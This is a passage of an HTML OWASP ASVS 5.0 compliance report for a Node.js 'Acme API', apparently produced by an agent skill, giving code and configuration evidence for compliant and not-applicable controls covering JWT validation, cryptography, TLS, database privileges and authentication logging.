      <div><div class="card-req-id">V9.1.1</div><div class="card-section-label-sm">V9 · Self-contained Tokens → V9.1 Token source and integrity</div></div>
      <div class="card-badges"><span class="level-badge level-1">L1</span><span class="status-badge status-COMPLIANT"><span class="dot dot-COMPLIANT"></span>COMPLIANT</span></div>
    </div>
    <div class="card-body">
      <div class="card-req-text">Verify that self-contained tokens are validated using their digital signature or MAC to protect against tampering before accepting the token's contents.</div>
      <div class="card-label">Reasoning</div>
      <div class="card-reasoning"><code>jwt.verify()</code> is called before <code>req.user</code> is populated. Token contents are only read from the object returned by a successful verify — not from a manual decode that skips signature checking.</div>
      <div class="card-label">Evidence</div>
      <pre class="evidence-block"><span class="file-path">src/middleware/auth.js:22–27</span>
<span class="ok">const decoded = jwt.verify(token, JWT_SECRET);</span>   <span class="note">// throws if invalid</span>
<span class="ok">req.user = decoded;</span>                               <span class="note">// only set after verified</span>
<span class="note">// jwt.decode() (no signature check) is not used anywhere in the codebase</span></pre>
    </div>
  </div>

  <div class="evidence-card ev-co" id="card-V9.1.3" data-status="COMPLIANT">
    <div class="card-header">
      <div><div class="card-req-id">V9.1.3</div><div class="card-section-label-sm">V9 · Self-contained Tokens → V9.1 Token source and integrity</div></div>
      <div class="card-badges"><span class="level-badge level-1">L1</span><span class="status-badge status-COMPLIANT"><span class="dot dot-COMPLIANT"></span>COMPLIANT</span></div>
    </div>
    <div class="card-body">
      <div class="card-req-text">Verify that key material used to validate self-contained tokens is from trusted pre-configured sources… headers such as 'jku', 'x5u', and 'jwk' must be validated against an allowlist.</div>
      <div class="card-label">Reasoning</div>
      <div class="card-reasoning"><code>JWT_SECRET</code> is read from an environment variable at startup. No <code>jku</code>, <code>x5u</code>, or <code>jwk</code> header parsing logic exists. The <code>jsonwebtoken</code> v9 library does not perform remote key fetches by default.</div>
      <div class="card-label">Evidence</div>
      <pre class="evidence-block"><span class="file-path">src/config/jwt.js:4</span>
<span class="ok">const JWT_SECRET = process.env.JWT_SECRET;</span>   <span class="note">// env var — not hardcoded</span>
<span class="note">// grep for 'jku\|x5u\|jwk' across src/ returned no results</span>
<span class="note">// package.json: jsonwebtoken@9.0.2 — no remote JWKS fetch by default</span></pre>
    </div>
  </div>

  <div class="evidence-card ev-co" id="card-V11.2.1" data-status="COMPLIANT">
    <div class="card-header">
      <div><div class="card-req-id">V11.2.1</div><div class="card-section-label-sm">V11 · Cryptography → V11.2 Secure Cryptography Implementation</div></div>
      <div class="card-badges"><span class="level-badge level-2">L2</span><span class="status-badge status-COMPLIANT"><span class="dot dot-COMPLIANT"></span>COMPLIANT</span></div>
    </div>
    <div class="card-body">
      <div class="card-req-text">Verify that industry-validated implementations (including libraries and hardware-accelerated implementations) are used for cryptographic operations.</div>
      <div class="card-label">Reasoning</div>
      <div class="card-reasoning">Node.js built-in <code>crypto</code> module (backed by OpenSSL) is used for all symmetric encryption. <code>bcryptjs</code> v2.4.3 is used for password hashing. Both are industry-validated implementations.</div>
      <div class="card-label">Evidence</div>
      <pre class="evidence-block"><span class="file-path">src/utils/crypto.js:3</span>
<span class="ok">const crypto = require('crypto');    // Node.js built-in / OpenSSL</span>

<span class="file-path">src/services/authService.js:12 and package.json</span>
<span class="ok">const bcrypt = require('bcryptjs');  // "bcryptjs": "^2.4.3"</span></pre>
    </div>
  </div>

  <div class="evidence-card ev-co" id="card-V11.3.1" data-status="COMPLIANT">
    <div class="card-header">
      <div><div class="card-req-id">V11.3.1</div><div class="card-section-label-sm">V11 · Cryptography → V11.3 Encryption Algorithms</div></div>
      <div class="card-badges"><span class="level-badge level-1">L1</span><span class="status-badge status-COMPLIANT"><span class="dot dot-COMPLIANT"></span>COMPLIANT</span></div>
    </div>
    <div class="card-body">
      <div class="card-req-text">Verify that insecure block modes (e.g., ECB) and weak padding schemes (e.g., PKCS#1 v1.5) are not used.</div>
      <div class="card-label">Reasoning</div>
      <div class="card-reasoning">AES-256-GCM is used for all symmetric encryption — an authenticated mode that is not ECB. No RSA PKCS#1 v1.5 padding was found anywhere in the codebase.</div>
      <div class="card-label">Evidence</div>
      <pre class="evidence-block"><span class="file-path">src/utils/crypto.js:15</span>
<span class="ok">crypto.createCipheriv('aes-256-gcm', key, iv)</span>   <span class="note">// GCM — authenticated, not ECB</span>
<span class="note">// grep for 'ecb\|pkcs1\|pkcs#1' across src/ returned no results</span></pre>
    </div>
  </div>

  <div class="evidence-card ev-co" id="card-V12.1.1" data-status="COMPLIANT">
    <div class="card-header">
      <div><div class="card-req-id">V12.1.1</div><div class="card-section-label-sm">V12 · Secure Communication → V12.1 General TLS Security Guidance</div></div>
      <div class="card-badges"><span class="level-badge level-1">L1</span><span class="status-badge status-COMPLIANT"><span class="dot dot-COMPLIANT"></span>COMPLIANT</span></div>
    </div>
    <div class="card-body">
      <div class="card-req-text">Verify that only the latest recommended versions of the TLS protocol are enabled, such as TLS 1.2 and TLS 1.3. The latest version of the TLS protocol must be the preferred option.</div>
      <div class="card-label">Reasoning</div>
      <div class="card-reasoning">nginx reverse proxy (confirmed in architecture diagram as the TLS termination point) is configured to allow only TLS 1.2 and TLS 1.3. TLS 1.0 and 1.1 are explicitly excluded.</div>
      <div class="card-label">Evidence</div>
      <pre class="evidence-block"><span class="file-path">nginx.conf:34–35</span>
<span class="ok">ssl_protocols TLSv1.2 TLSv1.3;</span>
<span class="ok">ssl_prefer_server_ciphers on;</span>
<span class="note">// architecture-diagram.png: TLS termination at nginx, before app server</span></pre>
    </div>
  </div>

  <div class="evidence-card ev-co" id="card-V12.1.2" data-status="COMPLIANT">
    <div class="card-header">
      <div><div class="card-req-id">V12.1.2</div><div class="card-section-label-sm">V12 · Secure Communication → V12.1 General TLS Security Guidance</div></div>
      <div class="card-badges"><span class="level-badge level-2">L2</span><span class="status-badge status-COMPLIANT"><span class="dot dot-COMPLIANT"></span>COMPLIANT</span></div>
    </div>
    <div class="card-body">
      <div class="card-req-text">Verify that only recommended cipher suites are enabled, with the strongest cipher suites set as preferred.</div>
      <div class="card-label">Reasoning</div>
      <div class="card-reasoning">nginx cipher suite list uses exclusively ECDHE and DHE suites, all providing forward secrecy. RC4 and DES are absent from the configuration.</div>
      <div class="card-label">Evidence</div>
      <pre class="evidence-block"><span class="file-path">nginx.conf:36</span>
<span class="ok">ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:...</span>
<span class="note">// grep for 'RC4\|DES\|EXPORT\|NULL' in nginx.conf returned no results</span></pre>
    </div>
  </div>

  <div class="evidence-card ev-co" id="card-V13.2.2" data-status="COMPLIANT">
    <div class="card-header">
      <div><div class="card-req-id">V13.2.2</div><div class="card-section-label-sm">V13 · Configuration → V13.2 Backend Communication Configuration</div></div>
      <div class="card-badges"><span class="level-badge level-2">L2</span><span class="status-badge status-COMPLIANT"><span class="dot dot-COMPLIANT"></span>COMPLIANT</span></div>
    </div>
    <div class="card-body">
      <div class="card-req-text">Verify that communications between backend application components are performed with accounts assigned the least necessary privileges.</div>
      <div class="card-label">Reasoning</div>
      <div class="card-reasoning">PostgreSQL connects as the <code>acme_app</code> user which holds only <code>SELECT/INSERT/UPDATE/DELETE</code> on application tables. No <code>CREATE</code>, <code>DROP</code>, <code>ALTER</code>, or superuser grants are assigned.</div>
      <div class="card-label">Evidence</div>
      <pre class="evidence-block"><span class="file-path">ops/db-grants.sql</span>
<span class="ok">GRANT SELECT, INSERT, UPDATE, DELETE ON ALL TABLES IN SCHEMA public TO acme_app;</span>
<span class="note">// No SUPERUSER, CREATEDB, or DDL grants</span>

<span class="file-path">config/database.js:8</span>
<span class="ok">username: process.env.DB_USER   // acme_app per deployment docs</span></pre>
    </div>
  </div>

  <div class="evidence-card ev-co" id="card-V16.3.1" data-status="COMPLIANT">
    <div class="card-header">
      <div><div class="card-req-id">V16.3.1</div><div class="card-section-label-sm">V16 · Logging → V16.3 Security Events</div></div>
      <div class="card-badges"><span class="level-badge level-2">L2</span><span class="status-badge status-COMPLIANT"><span class="dot dot-COMPLIANT"></span>COMPLIANT</span></div>
    </div>
    <div class="card-body">
      <div class="card-req-text">Verify that all authentication operations are logged, including successful and unsuccessful attempts.</div>
      <div class="card-label">Reasoning</div>
      <div class="card-reasoning">Successful logins, failed logins, and password changes are all logged at the controller level with structured metadata (event type, userId, IP). All three authentication event types are covered.</div>
      <div class="card-label">Evidence</div>
      <pre class="evidence-block"><span class="file-path">src/controllers/authController.js:45–52</span>
<span class="ok">logger.info({ event: 'login_success', userId: user.id, ip: req.ip });</span>
<span class="ok">logger.warn({ event: 'login_failure', email: req.body.email, ip: req.ip });</span>

<span class="file-path">src/controllers/authController.js:91</span>
<span class="ok">logger.info({ event: 'password_change', userId: req.user.id, ip: req.ip });</span></pre>
    </div>
  </div>

</div><!-- end COMPLIANT evidence -->

<hr class="section-divider">

<!-- ═══════════════════ NOT RELEVANT EVIDENCE ═══════════════════ -->
<div class="evidence-group" id="ev-nr">
  <div class="evidence-group-heading ev-notrelevant">Not Relevant Controls — Rationale <span class="badge-count nr">4</span></div>

  <div class="evidence-card ev-nr" id="card-V5.2.3" data-status="NOT_RELEVANT">
    <div class="card-header">
      <div><div class="card-req-id">V5.2.3</div><div class="card-section-label-sm">V5 · File Handling → V5.2 File Upload and Content</div></div>
      <div class="card-badges"><span class="level-badge level-2">L2</span><span class="status-badge status-NOT_RELEVANT"><span class="dot dot-NOT_RELEVANT"></span>NOT_RELEVANT</span></div>
    </div>
    <div class="card-body">
      <div class="card-req-text">Verify that the application checks compressed files (e.g., zip, gz, docx, odt) against maximum allowed uncompressed size and against maximum number of files before uncompressing the file.</div>
      <div class="card-label">Reasoning</div>
      <div class="card-reasoning">The application accepts PDF and image files only. No compressed archive formats (zip, gz, docx, odt) are accepted or processed anywhere in the codebase. The zip-bomb attack surface addressed by this control does not exist.</div>
      <div class="card-label">Evidence</div>
      <pre class="evidence-block"><span class="file-path">src/middleware/upload.js:22</span>
<span class="ok">const allowed = ['jpg', 'png', 'pdf'];   // no zip, gz, docx, odt</span>
<span class="note">// grep for 'unzip\|decompress\|adm-zip\|node-zip\|yauzl' returned no results</span>
<span class="note">// package.json: no archive handling dependency present</span></pre>
    </div>
  </div>

  <div class="evidence-card ev-nr" id="card-V10.1.1" data-status="NOT_RELEVANT">
    <div class="card-header">
      <div><div class="card-req-id">V10.1.1</div><div class="card-section-label-sm">V10 · OAuth and OIDC → V10.1 Generic OAuth and OIDC Security</div></div>
      <div class="card-badges"><span class="level-badge level-2">L2</span><span class="status-badge status-NOT_RELEVANT"><span class="dot dot-NOT_RELEVANT"></span>NOT_RELEVANT</span></div>
    </div>
    <div class="card-body">
      <div class="card-req-text">Verify that tokens are only sent to components that strictly need them. For example, when using a backend-for-frontend pattern, access and refresh tokens shall only be accessible for the backend.</div>
      <div class="card-label">Reasoning</div>
      <div class="card-reasoning">The application implements direct JWT authentication and does not use OAuth 2.0 or OIDC. There is no authorization server, no OAuth client flow, and no third-party identity provider. All 36 V10 controls are not applicable to this codebase.</div>
      <div class="card-label">Evidence</div>
      <pre class="evidence-block"><span class="file-path">package.json — authentication dependencies</span>
<span class="ok">"jsonwebtoken": "^9.0.2"</span>   <span class="note">// direct JWT — no OAuth client</span>
<span class="note">// grep for 'passport-oauth\|openid-client\|oauth2\|oidc' returned no results</span>
<span class="note">// src/services/authService.js: custom JWT issuance only, no third-party IdP</span></pre>
    </div>
  </div>

  <div class="evidence-card ev-nr" id="card-V14.3.1" data-status="NOT_RELEVANT">
    <div class="card-header">
      <div><div class="card-req-id">V14.3.1</div><div class="card-section-label-sm">V14 · Data Protection → V14.3 Client-side Data Protection</div></div>
      <div class="card-badges"><span class="level-badge level-1">L1</span><span class="status-badge status-NOT_RELEVANT"><span class="dot dot-NOT_RELEVANT"></span>NOT_RELEVANT</span></div>
    </div>
    <div class="card-body">
      <div class="card-req-text">Verify that authenticated data is cleared from client storage, such as the browser DOM, after the client or session is terminated.</div>
      <div class="card-label">Reasoning</div>
      <div class="card-reasoning">This is a pure REST API with no server-side rendered views for authenticated sessions. There is no browser DOM managed by the application. Client-side storage management is the responsibility of consuming frontend applications, which are out of scope.</div>
      <div class="card-label">Evidence</div>
      <pre class="evidence-block"><span class="file-path">src/app.js — Express configuration</span>
<span class="ok">const app = express();</span>
<span class="note">// No view engine configured for authenticated pages</span>
<span class="note">// grep for 'localStorage\|sessionStorage\|Clear-Site-Data' returned no results</span>
<span class="note">// All responses are JSON (Content-Type: application/json)</span></pre>
    </div>
  </div>

  <div class="evidence-card ev-nr" id="card-V5.2.3-webrtc" data-status="NOT_RELEVANT">
    <div class="card-header">
      <div><div class="card-req-id">V17 (all)</div><div class="card-section-label-sm">V17 · WebRTC</div></div>
      <div class="card-badges"><span class="level-badge level-2">L2</span><span class="status-badge status-NOT_RELEVANT"><span class="dot dot-NOT_RELEVANT"></span>NOT_RELEVANT</span></div>
    </div>
    <div class="card-body">
      <div class="card-req-text">All 12 V17 WebRTC controls — peer connection security, DTLS, ICE authentication, media encryption, etc.</div>
      <div class="card-label">Reasoning</div>
      <div class="card-reasoning">The application does not implement WebRTC. There are no peer connections, no DTLS endpoints, no ICE negotiation, and no real-time media streams. All V17 controls are not applicable.</div>
      <div class="card-label">Evidence</div>
      <pre class="evidence-block"><span class="note">// grep for 'RTCPeerConnection\|webrtc\|dtls\|ice\|stun\|turn' returned no results</span>
<span class="note">// package.json: no WebRTC library (wrtc, simple-peer, etc.) present</span></pre>
    </div>
  </div>

</div><!-- end NOT_RELEVANT evidence -->

</div><!-- end main -->

<div class="report-footer">
  <strong>ASVS 5.0 Compliance Report</strong> — Acme API — Generated 2026-04-29 by <strong>compliance</strong> skill &nbsp;·&nbsp; OWASP ASVS 5.0.0 (345 controls)
</div>

<script>
  function filterAll(btn) {
    document.querySelectorAll('.filter-btn').forEach(b => b.classList.remove('active'));
    btn.classList.add('active');
    document.querySelectorAll('tr[data-status]').forEach(r => r.classList.remove('row-hidden'));
    document.querySelectorAll('.evidence-card[data-status]').forEach(c => c.classList.remove('card-hidden'));
  }
  function filterStatus(status, btn) {
    document.querySelectorAll('.filter-btn').forEach(b => b.classList.remove('active'));
    btn.classList.add('active');
    document.querySelectorAll('tr[data-status]').forEach(r => {
      r.classList.toggle('row-hidden', r.dataset.status !== status);
    });
    document.querySelectorAll('.evidence-card[data-status]').forEach(c => {
      c.classList.toggle('card-hidden', c.dataset.status !== status);
    });
  }
</script>
</body>
</html>
deprecation-and-migrationaddyosmani/agent-skillsManages deprecation and migration. Use when removing old systems, APIs, or features. Use when migrating users from one implementation to another. Use when migrating a database schema in production, such as renaming or dropping a column without downtime (expand/contract). Use when deciding whether to maintain or sunset existing code.Stars: 119kUpdated Claude CodeCodexVerifiedInstall
performance-optimizationaddyosmani/agent-skillsOptimizes application performance across frontend, backend, queries, and databases. Use when performance requirements exist, when you suspect performance regressions, when Core Web Vitals or load times need improvement, when N+1 query patterns need fixing, or when profiling reveals bottlenecks.Stars: 119kUpdated Claude CodeCodexVerifiedInstall
agent-cost-reportthedotmack/claude-memBelievable agent cost report for any period, default the last 7 full days PT, not counting today. Measured tokens from Claude Code transcripts priced at OpenRouter list prices (ESTIMATED), measured provider spend when a sanctioned source exists, note-taker cost separate, Timing-style HTML/PDF plus report.json, line-items.csv, evidence.json.Stars: 118kUpdated Claude CodeCodexVerifiedInstall
agent-cost-reportthedotmack/claude-memBelievable agent cost report for any period, default the last 7 full days PT, not counting today. Measured tokens from Claude Code transcripts priced at OpenRouter list prices (ESTIMATED), measured provider spend when a sanctioned source exists, note-taker cost separate, Timing-style HTML/PDF plus report.json, line-items.csv, evidence.json.Stars: 118kUpdated Claude CodeCodexVerifiedInstall